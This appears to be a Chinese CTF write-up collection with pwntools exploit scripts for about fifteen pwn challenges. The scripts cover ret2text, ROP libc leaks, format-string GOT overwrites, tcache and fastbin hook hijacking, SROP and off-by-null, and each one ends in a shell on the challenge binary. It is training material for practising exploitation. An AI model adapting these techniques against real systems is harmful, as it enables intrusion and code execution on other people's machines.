ret2text
exp
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("1.14.71.254" ,28077 ) gift = 0x4005ba payload = b'a' *0x10 + p64(0 ) + p64(gift) p.sendline(payload) p.interactive()
whitegive_pwn
题目考点
ret2text
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p = remote("1.14.71.254" ,28052 ) elf = ELF("white_give" ) libc = ELF("libc-2.23.so" ) pop_rdi = 0x0000000000400763 ret = 0x0000000000400509 binsh = 0x000000000018ce57 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main = 0x4006da payload = b'a' *0x10 + p64(0 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendline(payload) libc_base = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-libc.sym['puts' ] success("libc:" +hex (libc_base)) system = libc_base + libc.sym['system' ] payload2 = b'a' *0x10 + p64(0 ) +p64(ret)+ p64(pop_rdi) + p64(libc_base + binsh) + p64(system) p.sendline(payload2) p.interactive()
NSS_printer_I
题目考点
格式化字符串
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * p = remote("1.14.71.254" ,28014 ) elf = ELF("printer1" ) libc = ELF("libc-2.23.so" ) context(log_level='debug' ,arch='amd64' ,os='linux' ) p.recvuntil("say: " ) p.sendline("%17$p%21$p" ) p.recvuntil("0x" ) elf_base = int (p.recv(12 ),16 )-elf.sym['_start' ] p.recvuntil("0x" ) libc_base = int (p.recv(12 ),16 )-0x20840 print (hex (elf_base))print (hex (libc_base))printf = elf_base+elf.got['printf' ] system = libc_base+libc.sym['system' ] payload = fmtstr_payload(6 ,{printf:system}) print (payload)p.recvuntil("say: " ) p.sendline(payload) p.interactive()
[2021 深育杯]find_flag
题目考点
1.格式化字符串
2.栈溢出
解题思路
利用格式化字符串漏洞得到程序基地址以及canary值,然后利用栈溢出调用后门
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *elf = ELF("find_flag" ) p = remote("1.14.71.254" ,28077 ) p.recvuntil("name?" ) p.sendline("aa%16$p..%17$p" ) p.recvuntil("aa" ) elf_base = int (p.recv(14 ),16 )-0x1140 success("elf_base:" +hex (elf_base)) flag_addr = elf_base + 0x1228 p.recvuntil(".." ) canary = int (p.recv(18 ),16 ) success("canary:" +hex (canary)) p.recvuntil("? " ) payload = b'a' *0x38 + p64(canary) + p64(0 )+p64(flag_addr) p.sendline(payload) p.interactive()
[2021 深育杯]create code
题目考点
1.堆溢出
2.tcache attack
解题思路
利用add函数中的溢出 用形如如下的构造来修改堆块的size,来泄露libc
1 2 3 4 5 add(0 ) add(1 ) add(2 ) free(1 ) add(1 )
然后构造tcache attack 来劫持free_hook。
最后注意不能直接
1 2 add('/bin/sh\x00' ) free()
来getshell,因为堆块在申请的时候会存在一个\x04
所以只能通过溢出来修改其为/bin/sh
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *libc = ELF("libc-2.31.so" ) p = process("create_code" ) def choice (choice ): p.recvuntil("> " ) p.sendline(str (choice)) def add (content ): choice(1 ) p.recvuntil("content: " ) p.sendline(content) def show (index ): choice(2 ) p.recvuntil("id: " ) p.sendline(str (index)) def free (index ): choice(3 ) p.recvuntil("id: " ) p.sendline(str (index)) add('a' *8 ) add('a' *8 ) add('a' *8 ) add('a' *8 ) add('a' *8 ) free(0 ) add(b'a' *0x328 +p64(0x991 )) free(0 ) add(b'a' ) show(0 ) p.recvuntil('\x7f' ) libc_base = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x1ebbe0 success("libc:" +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add('a' *8 ) add('a' *8 ) free(2 ) free(1 ) free(0 ) add(b'a' *0x328 +p64(0x331 )+p64(free_hook-0x10 )) add(b'a' *8 ) free(1 ) add(b'a' *0x328 +p64(0x331 )+b'/bin/sh\x00' ) add(b'a' *0x10 +p64(system)) add(b'a' ) gdb.attach(p) free(1 ) p.interactive()
[CISCN 2019华南]PWN3
题目考点
srop
题目分析
见SROP例题部分
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * p = remote("1.14.71.254" ,28101 ) elf = ELF('ciscn_s_3' ) context.arch = 'amd64' main = elf.sym['main' ] syscall_15 = 0x0000000004004DA syscall = 0x000000000400517 p.sendline(b'a' *0x10 +p64(main)) p.recvuntil(b'a' *0x10 ) stack_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) success("stack:" +hex (stack_addr)) bin_sh = stack_addr - 0x138 farme = SigreturnFrame() farme.rax = 59 farme.rdi = bin_sh farme.rip = syscall farme.rsi = 0 payload = b'/bin/sh\x00' +p64(0 )+p64(syscall_15)+p64(syscall)+bytes (farme) p.sendline(payload) p.interactive() p.interactive()
[CISCN 2021] lonelywolf
题目考点
tcache attack
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *p = remote("1.14.71.254" ,28134 ) libc = ELF("libc-2.27.so" ) def choice (choice ): p.recvuntil("choice: " ) p.sendline(str (choice)) def add (index,size ): choice(1 ) p.recvuntil("Index: " ) p.sendline(str (index)) p.recvuntil("Size: " ) p.sendline(str (size)) def edit (index,content ): choice(2 ) p.recvuntil("Index: " ) p.sendline(str (index)) p.recvuntil("Content: " ) p.sendline(content) def show (index ): choice(3 ) p.recvuntil("Index: " ) p.sendline(str (index)) def free (index ): choice(4 ) p.recvuntil("Index: " ) p.sendline(str (index)) context.log_level = 'debug' add(0 ,0x28 ) free(0 ) edit(0 ,p64(0 )*2 ) free(0 ) show(0 ) p.recvuntil("Content: " ) heap_base = u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x260 success("heap:" + hex (heap_base)) edit(0 ,p64(heap_base+0x10 )) add(0 ,0x28 ) add(0 ,0x28 ) edit(0 ,p64(0 )*4 +p64(0x7000000 )) free(0 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x3ebca0 success("libc:" +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add(0 ,0x78 ) free(0 ) edit(0 ,p64(free_hook)) add(0 ,0x78 ) add(0 ,0x78 ) edit(0 ,p64(system)) add(0 ,0x78 ) edit(0 ,b"/bin/sh\x00" ) free(0 ) p.interactive()
[BJDCTF 2020]babystack2.0
题目考点
整数溢出
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p = remote("1.14.71.254" , 28006 ) backdoor = 0x000000000400726 payload = b'a' *0x10 +p64(0 )+p64(backdoor) p.recvuntil("name:" ) p.sendline("4294967285" ) p.recvuntil("name?" ) p.sendline(payload) p.interactive()
[GFCTF 2021]where_is_shell
题目考点
栈溢出
解题思路
题目给出了提示 “代码段是有r权限的的,所以字符串可以在代码段上” ,因该是个ret2text , 但是却斌没有找到sh
字符串,同时题目给出了一个tips,那么就需要到tips里面找字符串,最后在0x400541
处找到了\x24\x30
即$0
,我们直接system($0)
就能拿到shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote("1.14.71.254" ,28056 ) elf = ELF("gfshell" ) system = elf.plt['system' ] tips = 0x400541 ret = 0x400416 pop_rdi = 0x4005e3 payload = b'a' *0x10 +p64(0 )+p64(ret)+p64(pop_rdi)+p64(tips)+p64(system) p.recvuntil("it?" ) p.sendline(payload) p.interactive()
[GKCTF 2020]domo
题目考点
off by null
fastbin attack
题目分析
这道题打法很多,这里介绍一种最简单的打法,由于题目存在off by null 漏洞,我们可以利用其来构造堆重叠,然后就利用double free 来修改malloc_hook ,由于程序add edit free 功能都加入了检查,所以我们在修改后就不能使用,故可以利用scanf输入长度过长会触发malloc的特点来getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *p = process('./domo' ) elf = ELF("./domo" ) libc = ELF('./libc-2.23.so' ) one = [0x45226 ,0x4527a ,0xf02b4 ,0xf1247 ] def chioce (idx ): p.sendlineafter("> " ,str (idx)) def add (size,data ): chioce(1 ) p.sendlineafter("\n" ,str (size)) p.sendafter("\n" ,data) def free (index ): chioce(2 ) p.sendlineafter("\n" ,str (index)) def edit (index, data ): chioce(4 ) p.sendlineafter("\n" ,str (index)) p.sendafter("\n" ,data) def show (index ): chioce(3 ) p.recvuntil('\n' ) p.sendline(str (index)) add(0xf0 ,b'0' ) add(0x60 ,b'1' ) add(0xf0 ,b'2' ) add(0x10 ,b'3' ) free(1 ) free(0 ) add(0x68 ,b'\x00' *0x60 +p64(0x170 )) free(2 ) add(0xf0 ,b'1' ) show(1 ) libc_base = u64(p.recvuntil('\x7f' ).ljust(8 ,b'\x00' ))-0x3c4d31 success("libc: " +hex (libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook' ] one_gadget = libc_base + one[3 ] add(0x60 ,b'2' ) add(0x60 ,b'4' ) free(0 ) free(4 ) free(2 ) add(0x60 ,p64(malloc_hook-0x23 )) add(0x60 ,b'2' ) add(0x60 ,b'4' ) add(0x60 ,b'a' *0x13 +p64(one_gadget)) p.recvuntil('>' ) p.sendline('1' *0x1001 ) p.interactive()
[BJDCTF 2020]babystack
题目考点
ret2text
exp
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("1.14.71.254" ,28071 ) p.sendline('50' ) p.sendline(b'a' *0x10 +p64(0 )+p64(0x4006e6 )) p.interactive()
[SWPU 2019]login
题目考点
不在栈上的格式化字符串
解题思路
题目有两种思路,一种是通过间接修改got表,另一种是通过第一次输入作为system的参数然后控制程序执行流去执行
exp
我自己的exp当时本地打通了,远程打不通,后来发现是由于一次写入了多个字节导致写入失败,后面发现的时候找不到了这里就放一个网上的exp,转自https://www.cnblogs.com/zhuangzhouQAQ/p/15703975.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import *import timep = process('./pwn1' ) libc = ELF('./libc-2.27-i386.so' ) p.sendlineafter('name:' ,'aa' ) p.sendlineafter('password:' ,'%15$p' ) p.recvuntil('0x' ) __libc_start_main = int (p.recvuntil('\n' ,drop=True ),16 )-0xf1 libc_base = __libc_start_main - libc.symbols['__libc_start_main' ] print ('libc_base-->' +hex (libc_base))system = libc_base + libc.sym['system' ] print ('system-->' +hex (system))p.sendlineafter('Try again!' ,'%6$p' ) p.recvuntil('0x' ) strack_addr0 = int (p.recvuntil('\n' ,drop=True ),16 ) print ('strack_addr0-->' +hex (strack_addr0))p.sendlineafter('Try again!' ,'%10$p' ) p.recvuntil('0x' ) strack_addr1 = int (p.recvuntil('\n' ,drop=True ),16 ) print ('strack_addr1-->' +hex (strack_addr1))cmd = 'b *0x08048575\n' payload = '%' +str (0x14 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload) payload1 = '%' +str ((strack_addr1 & 0xff )+1 )+'c' +'%6$hhn' p.sendlineafter('Try again!\n' ,payload1) payload2 = '%' +str (0xb0 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload2) payload3 = '%' +str ((strack_addr1 & 0xff )+2 )+'c' +'%6$hhn' p.sendlineafter('Try again!\n' ,payload3) payload4 = '%' +str (0x04 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload4) payload5 = '%' +str ((strack_addr1 & 0xff )+3 )+'c' +'%6$hhn' p.sendlineafter('Try again!\n' ,payload5) payload6 = '%' +str (0x08 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload6) strack_addr1 = strack_addr1 + 4 payload1 = '%' +str (strack_addr1 & 0xff )+'c' +'%6$hhn' p.sendlineafter('Try again!\n' ,payload1) payload2 = '%' +str (0x15 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload2) payload3 = '%' +str ((strack_addr1 & 0xff )+1 )+'c' +'%6$hhn' p.sendlineafter('Try again!\n' ,payload3) payload4 = '%' +str (0xb0 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload4) payload5 = '%' +str ((strack_addr1 & 0xff )+2 )+'c' +'%6$hhn' p.sendlineafter('Try again!\n' ,payload5) payload6 = '%' +str (0x04 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload6) payload7 = '%' +str ((strack_addr1 & 0xff )+3 )+'c' +'%6$hhn' p.sendlineafter('Try again!\n' ,payload7) payload8 = '%' +str (0x08 )+'c' +'%10$hhn' p.sendlineafter('Try again!\n' ,payload8) payload = '%' +str (system & 0xff )+'c' +'%14$hhn' payload += '%' +str (((system & 0xffff00 )>>8 )-0x10 )+'c' +'%15$hn' print (hex (((system & 0xffff00 )>>8 )-0x10 ))p.sendlineafter('Try again!\n' ,payload) time.sleep(0.5 ) p.sendline('/bin/sh' ) gdb.attach(p,cmd) p.interactive()
[watevrCTF 2019]Voting Machine 1
题目考点
栈溢出
exp
1 2 3 4 5 6 7 from pwn import *p = remote("1.14.71.254" , 28061 ) p.sendline(b'a' *2 + p64(0 ) + p64(0x000000000400807 )) p.interactive()
[watevrCTF 2019]Voting Machine 2
题目考点
格式化字符串任意内存覆盖
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * p = process("Voting_Machine_2" ) elf = ELF("Voting_Machine_2" ) exit_got = elf.got['exit' ] payload = b'AA' + fmtstr_payload(8 ,{exit_got:0x8420736 },numbwritten=2 ) print (payload)p.sendline(payload) p.interactive()